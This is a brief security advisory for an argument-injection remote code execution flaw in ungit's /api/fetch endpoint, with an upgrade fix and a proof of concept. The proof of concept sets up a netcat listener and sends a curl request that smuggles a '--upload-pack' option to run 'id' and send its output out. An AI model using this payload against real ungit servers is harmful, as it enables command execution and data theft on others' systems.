How to fix?

Upgrade ungit to version 1.5.20 or higher.

Overview

ungit is a version control library.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via argument injection. The issue occurs when calling the /api/fetch endpoint. User controlled values (remote and ref) are passed to the git fetch command. By injecting some git options it was possible to get arbitrary command execution.

PoC

  1. Install ungit and setup a project

  2. setup a listener for accepting incoming connections: nc -nvlp 8000

  3. run the following curl command to get the output of the id command: curl -d '{"path":"/home/ubuntu/poc/ungit","remote":"--upload-pack=curl http://localhost:8000 --data \"$(id)\"","ref":"foobar","socketId":1}' -H "Content-Type: application/json" -X POST http://localhost:8448/api/fetch
